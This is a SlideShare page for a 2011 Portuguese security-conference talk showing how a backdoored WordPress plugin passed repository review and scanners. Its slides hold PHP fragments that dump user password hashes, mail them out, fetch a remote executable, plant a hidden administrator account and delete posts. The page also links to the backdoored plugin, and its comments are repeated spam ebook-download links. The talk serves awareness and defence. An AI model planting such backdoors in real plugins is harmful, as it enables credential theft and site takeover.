O slideshow foi denunciado.
Utilizamos seu perfil e dados de atividades no LinkedIn para personalizar e exibir anúncios mais relevantes. Altere suas preferências de anúncios quando desejar.
AgendaO que são CMS?MotivaçãoProva de conceito. Happy hour...ImpactosConclusões
O que é um CMS (Content Management System)?São sistemas criados para gerenciar e administrar oconteúdo de sites. Ex: Wordp...
ConsideraçõesO que não esperar desta apresentação.1 – Discussões sobre o que é exploit ou não.Segundo o EC-Council exploit...
Motivação
Motivação – e o Kico???OK mas e o Kico??
Motivação
Motivação
Prova de conceito. Security as a happy hour...Dúvidas para a prova de conceito1 – Os plugins e temas submetidos são realme...
Prova de conceito. Security as a happy hour...1 – Os plugins e temas submetidos são realmenteanalisados?Criado uma versão ...
Prova de conceito. Security as a happy hour...1 – Os plugins e temas submetidos são realmenteanalisados?
Prova de conceito. Security as a happy hour...2 – Os plugins de “segurança” são eficientes?Alguns plugins testados:Exploit...
Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Funções utilizadas:Querys na base d...
Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Identificar o diretório de upload d...
Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Coletando informações da BD$results...
Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Garantindo o connection Back :D.......
Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Garantindo o acesso Administrativo$...
Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.   Live demo – Bonus Track!!!
Prova de conceito. Security as a happy hour...TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES     APRESENTADOS TEM COMO OBJE...
Prova de conceito. Security as a happy hour...                              Entenderam.....
Prova de conceito. Security as a happy hour...                       Seria possível pegar uma
ConclusõesA principal falha é de processo por conta do wordpress enão nos plugins.A função wpdb permite uma infinidade de ...
ConclusõesRecomendações como mudar os nomes das tabelas ou odiretório padrão de upload não eliminam o problema.Nas pastas ...
Próximos passosEntender o mecanismo de criptografia que aparenta terfalhas na função avalanche e salt.
Prova de conceito. Security as a happy hour...         Bonus Bonus Track!!!       Plugin disponível em:      http://migre....
Dúvidas?Thiago Bordinithiago (at) bordini (dot) netwww.staysafepodcast.com.br           Security as a happy hour!!!Agradec...
Próximos SlideShares
Carregando em…5
×

Vale Security Conference - 2011 - 6 - Thiago Bordini

646 visualizações

Publicada em

Vale Security Conference - 2011
Sábado - 6ª Palestra
Palestrante : Thiago Bordini
Palestra: Exploit code injection in CMS Systems
Twitter (Thiago Bordini) : https://twitter.com/#!/tbordini
Vídeo da Palestra (You Tube) : http://www.youtube.com/watch?v=Ls3ccKGe_bs
Slide (SlideShare) : http://www.slideshare.net/valesecconf/bordini

  • DOWNLOAD THE BOOK INTO AVAILABLE FORMAT (New Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THE can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THE is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBOOK .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, CookBOOK, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, EBOOK, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THE Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THE the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THE Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • DOWNLOAD THE BOOK INTO AVAILABLE FORMAT (New Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THE can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THE is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBOOK .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, CookBOOK, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, EBOOK, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THE Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THE the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THE Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • DOWNLOAD THE BOOK INTO AVAILABLE FORMAT (New Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download Full doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download PDF EBOOK here { https://urlzs.com/UABbn } ......................................................................................................................... Download EPUB Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... Download doc Ebook here { https://urlzs.com/UABbn } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THE can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THE is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBOOK .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, CookBOOK, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, EBOOK, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THE Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THE the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THE Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • DOWNLOAD THE BOOK INTO AVAILABLE FORMAT (New Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THE can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THE is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBOOK .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, CookBOOK, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, EBOOK, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THE Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THE the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THE Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • DOWNLOAD THIS BOOKS INTO AVAILABLE FORMAT (2019 Update) ......................................................................................................................... ......................................................................................................................... Download Full PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download Full EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download Full doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download PDF EBOOK here { https://soo.gd/irt2 } ......................................................................................................................... Download EPUB Ebook here { https://soo.gd/irt2 } ......................................................................................................................... Download doc Ebook here { https://soo.gd/irt2 } ......................................................................................................................... ......................................................................................................................... ................................................................................................................................... eBook is an electronic version of a traditional print book THIS can be read by using a personal computer or by using an eBook reader. (An eBook reader can be a software application for use on a computer such as Microsoft's free Reader application, or a book-sized computer THIS is used solely as a reading device such as Nuvomedia's Rocket eBook.) Users can purchase an eBook on diskette or CD, but the most popular method of getting an eBook is to purchase a downloadable file of the eBook (or other reading material) from a Web site (such as Barnes and Noble) to be read from the user's computer or reading device. Generally, an eBook can be downloaded in five minutes or less ......................................................................................................................... .............. Browse by Genre Available eBooks .............................................................................................................................. Art, Biography, Business, Chick Lit, Children's, Christian, Classics, Comics, Contemporary, Cookbooks, Manga, Memoir, Music, Mystery, Non Fiction, Paranormal, Philosophy, Poetry, Psychology, Religion, Romance, Science, Science Fiction, Self Help, Suspense, Spirituality, Sports, Thriller, Travel, Young Adult, Crime, Ebooks, Fantasy, Fiction, Graphic Novels, Historical Fiction, History, Horror, Humor And Comedy, ......................................................................................................................... ......................................................................................................................... .....BEST SELLER FOR EBOOK RECOMMEND............................................................. ......................................................................................................................... Blowout: Corrupted Democracy, Rogue State Russia, and the Richest, Most Destructive Industry on Earth,-- The Ride of a Lifetime: Lessons Learned from 15 Years as CEO of the Walt Disney Company,-- Call Sign Chaos: Learning to Lead,-- StrengthsFinder 2.0,-- Stillness Is the Key,-- She Said: Breaking the Sexual Harassment Story THIS Helped Ignite a Movement,-- Atomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones,-- Everything Is Figureoutable,-- What It Takes: Lessons in the Pursuit of Excellence,-- Rich Dad Poor Dad: What the Rich Teach Their Kids About Money THIS the Poor and Middle Class Do Not!,-- The Total Money Makeover: Classic Edition: A Proven Plan for Financial Fitness,-- Shut Up and Listen!: Hard Business Truths THIS Will Help You Succeed, ......................................................................................................................... .........................................................................................................................
       Responder 
    Tem certeza que deseja  Sim  Não
    Insira sua mensagem aqui
  • Seja a primeira pessoa a gostar disto

Vale Security Conference - 2011 - 6 - Thiago Bordini

  1. 1. AgendaO que são CMS?MotivaçãoProva de conceito. Happy hour...ImpactosConclusões
  2. 2. O que é um CMS (Content Management System)?São sistemas criados para gerenciar e administrar oconteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomladentre outros.PluginsAgregam novas funcionalidades aos CMS tais comoenquetes, galerias de fotos, integração com redes sociais,etc.TemasPersonalizam a aparência dos sites criados através dosCMS. Permitem algumas customizações.
  3. 3. ConsideraçõesO que não esperar desta apresentação.1 – Discussões sobre o que é exploit ou não.Segundo o EC-Council exploit é: A defined way to breachthe security of an IT system through vulnerability.2 – Demonstrar vulnerabilidades apenas técnicas. SI vaimuito mais além disso.3 – Que eu seja dono da verdade
  4. 4. Motivação
  5. 5. Motivação – e o Kico???OK mas e o Kico??
  6. 6. Motivação
  7. 7. Motivação
  8. 8. Prova de conceito. Security as a happy hour...Dúvidas para a prova de conceito1 – Os plugins e temas submetidos são realmenteanalisados?2 – Os plugins de “segurança” são eficientes?3 – O que é possível fazer com um plugin.
  9. 9. Prova de conceito. Security as a happy hour...1 – Os plugins e temas submetidos são realmenteanalisados?Criado uma versão pt-br do plug-in no-copy de autoria deMohanjith http://mohanjith.com/wordpress com o códigomalicioso já injetado.Submetido ao repositório do Wordpress.com juntamentecom os outros milhares de plug-ins disponíveis no site.(Emdez/2010 – 12.533 plugins com 141.819.480 downloads.Qual foi o resultado???
  10. 10. Prova de conceito. Security as a happy hour...1 – Os plugins e temas submetidos são realmenteanalisados?
  11. 11. Prova de conceito. Security as a happy hour...2 – Os plugins de “segurança” são eficientes?Alguns plugins testados:Exploit-Scanner-1.0.5 (Identificou o encode_base64)Wp-security-scan 3.0.6 (Nada, apenas permissõesinadequadas)Mjp-security-plugin-1.0 (Nada, apenaspermissões inadequadas e usuários default)Qual foi o resultado???Nenhum detectou o código malicioso.
  12. 12. Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Funções utilizadas:Querys na base de dados.$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb->users"));Identificar URL onde o blog foi instalado.get_bloginfo(wpurl);Redirecionar site para outro endereço.wp_remote_fopen(http://www.xyz.com/index.html);
  13. 13. Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Identificar o diretório de upload do blog - wp_upload_dir();PATH blog – $upload_dir[basedir];URL dos uploads - $upload_dir[baseurl];Criar pasta - wp_mkdir_p($target);Baixar arquivo remoto e efetuar o uploadwp_upload_bits(‘xy.exe, null, file_get_contents($name));$upload[url];
  14. 14. Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Coletando informações da BD$results=$wpdb->get_results("SELECT * FROM $wpdb->users") .... $mensagem .= "ID: ". $result->ID ."n"; $mensagem .= "user_login: ". $result->user_login ."n"; $mensagem .= "user_pass: ". $result->user_pass ."n"; ....
  15. 15. Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Garantindo o connection Back :D....$mensagem = "URL Site: ". $url ."n";$mensagem .= "Diretório criado em: ". $target_dir."n";$mensagem .= "Arquivo criado em: ". $target_file."n";....$headers .= "From: PoC <poc@localhost>n";$headers .= "Return-Path: PoC <poc@localhost>n";$envio = mail("poc@localhost", "PoC", $mensagem,$headers);....
  16. 16. Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin.Garantindo o acesso Administrativo$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`,`user_pass`, `user_nicename`, `user_email`,`user_url`, `user_registered`, `user_activation_key`,`user_status`, `display_name`) VALUES(1999,poc,$P$B0nhkbZo/ImMpG0I17f.jyAp5S9c3V.,poc,poc@xyz.local, , 2010-07-01 22:43:10, , 0, poc)");
  17. 17. Prova de conceito. Security as a happy hour...3 – O que é possível fazer com um plugin. Live demo – Bonus Track!!!
  18. 18. Prova de conceito. Security as a happy hour...TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES APRESENTADOS TEM COMO OBJETIVO ALERTAR A PLATÉIA.
  19. 19. Prova de conceito. Security as a happy hour... Entenderam.....
  20. 20. Prova de conceito. Security as a happy hour... Seria possível pegar uma
  21. 21. ConclusõesA principal falha é de processo por conta do wordpress enão nos plugins.A função wpdb permite uma infinidade de combinações dequerys SQL como por exemplo: $wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0");Como não existe uma garantia da integridade dos plugins etemplates, revise os códigos antes de instalar.Os plugins de segurança ajudam, mas não eliminam oproblema.
  22. 22. ConclusõesRecomendações como mudar os nomes das tabelas ou odiretório padrão de upload não eliminam o problema.Nas pastas de upload verifique as permissões aplicadas emarquivos e pastas.Manter o wordpress, plugins e temas atualizados éindispensável.Revise os códigos antes de instalar algo.Teste em ambiente independente.
  23. 23. Próximos passosEntender o mecanismo de criptografia que aparenta terfalhas na função avalanche e salt.
  24. 24. Prova de conceito. Security as a happy hour... Bonus Bonus Track!!! Plugin disponível em: http://migre.me/5B4S8 Usem por sua conta e risco. Sem suporte.
  25. 25. Dúvidas?Thiago Bordinithiago (at) bordini (dot) netwww.staysafepodcast.com.br Security as a happy hour!!!Agradecimentos:Crash / Gr1nch / DCLabs / Nelson Brito / Jordan BonaguraReferência:http://codex.wordpress.org/

×